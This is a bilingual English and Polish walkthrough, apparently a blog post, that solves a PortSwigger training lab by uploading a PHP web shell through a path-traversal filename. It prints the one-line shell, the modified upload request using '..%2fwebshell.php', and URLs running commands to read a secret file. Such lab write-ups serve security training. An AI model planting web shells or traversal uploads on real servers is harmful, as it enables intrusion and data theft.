# Web shell upload via path traversal (ENG 🇬🇧 | PL 🇵🇱 ) ​
🇬🇧 ENG:
Link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal
In this example, we will see how to combine several vulnerabilities - path traversal and file upload.
Click on "Access the lab", proceed to "My Account", and log in using: "wiener:peter".
This is how the panel should look after logging in:

I have prepared a file named "webshell.php", I select it. After uploading the file, I see a message that the file has been uploaded:

We go back to "My Account", right-click on the file that is visible below, and select "Copy image address":

We see that we can read this file, but it is not executable:

<?php system($_GET[ 'cmd']) ;?>In Burp Suite, I send the request responsible for sending our file to the server to "Repeater":

It may happen that the folder to which we upload our files has settings that prevent those files from being executed by the PHP engine.
What we can try to do is to upload our file "webshell.php" to a different location. We can use path traversal, which is moving between directories, and enter for example two dots and a slash:
filename="../webshell.php"After sending such a modified request, we receive information that the file has been uploaded:
part of the request:
Content-Disposition: form-data; name="avatar"; filename="..%2fwebshell.php"
Content-Type: text/phpresponse:
HTTP/2 200 OK
Date: Mon, 19 Feb 2024 18:50:56 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 136
The file avatars/../webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>It is worth mentioning that the slash above in the request was encoded as %2f.
Let's try to refer to it. However, we will not find it in the same directory as before. It should be located in the directory above. So instead of:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/avatars/webshell.phpWe enter:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/webshell.phpWe see an empty page:

We change the address, adding the cmd parameter:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/webshell.php?cmd=whoami
We are the user carlos.
We change the command to:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/webshell.php?cmd=cat%20/home/carlos/secretThe password appears:
7vXvIKxXZ4DaGIbRHxokIWH4V3rKnnlJ
We paste it after clicking the "Submit solution" button. Click "OK".
Lab solved:

🇵🇱 PL:
Link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal
W tym przykładzie zobaczymy, jak można połączyć kilka podatności - path traversal i upload plików.
Klikamy "Access the lab", przechodzimy do "My Account", logujemy siÄ™ podajÄ…c: "wiener:peter".
Tak powinien wyglądać panel po zalogowaniu:

Mam przygotowany plik "webshell.php", wybieram go. Po wysłaniu pliku, widzę informację, że plik został załadowany:

Wracamy do "My Account", klikamy prawym przyciskiem myszy na pliku, który jest widoczny poniżej i wybieramy "Copy image address":

Widzimy, że możemy odczytać ten plik, ale nie jest on wykonywalny:

<?php system($_GET[ 'cmd']) ;?>W Burp Suite, request który jest odpowiedzialny za wysłanie naszego pliku do serwera, wysyłam do "Repeatera":

Może się tak zdarzyć, że folder do którego wrzucamy nasze pliki, ma takie ustawienia, że te pliki nie są wykonywane przez silnik php.
To, co możemy spróbować zrobić, to wrzucić nasz plik "webshell.php" w inne miejsce. Możemy użyć path traversal, czyli przejścia pomiędzy katalogami i wpisać np. dwie kropki i slash:
filename="../webshell.php"Po wysłaniu tak zmodyfikowanego requestu, otrzymujemy informację, że plik został zuploadowany:
część requestu:
Content-Disposition: form-data; name="avatar"; filename="..%2fwebshell.php"
Content-Type: text/phpresponse:
HTTP/2 200 OK
Date: Mon, 19 Feb 2024 18:50:56 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 136
The file avatars/../webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>Warto wspomnieć, że ukośnik powyżej w requeście został zapisany jako %2f.
Spróbujmy się do niego odwołać. Nie znajdziemy go jednak w tym samym katalogu, co wcześniej. Powinien znajdować się w katalogu wyżej. Czyli zamiast:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/avatars/webshell.phpWpisujemy:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/webshell.phpWidzimy pustÄ… stronÄ™:

Zmieniamy adres, dodajÄ…c parametr cmd:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/webshell.php?cmd=whoami
Jesteśmy użytkownikiem carlos.
Zmieniamy komendÄ™ na:
https://0a840043037fcbd581e5deef00960003.web-security-academy.net/files/webshell.php?cmd=cat%20/home/carlos/secretPokazuje się hasło:
7vXvIKxXZ4DaGIbRHxokIWH4V3rKnnlJ
Wklejamy je po kliknięciu przycisku "Submit solution". Klikamy "OK".
Lab rozwiÄ…zany:
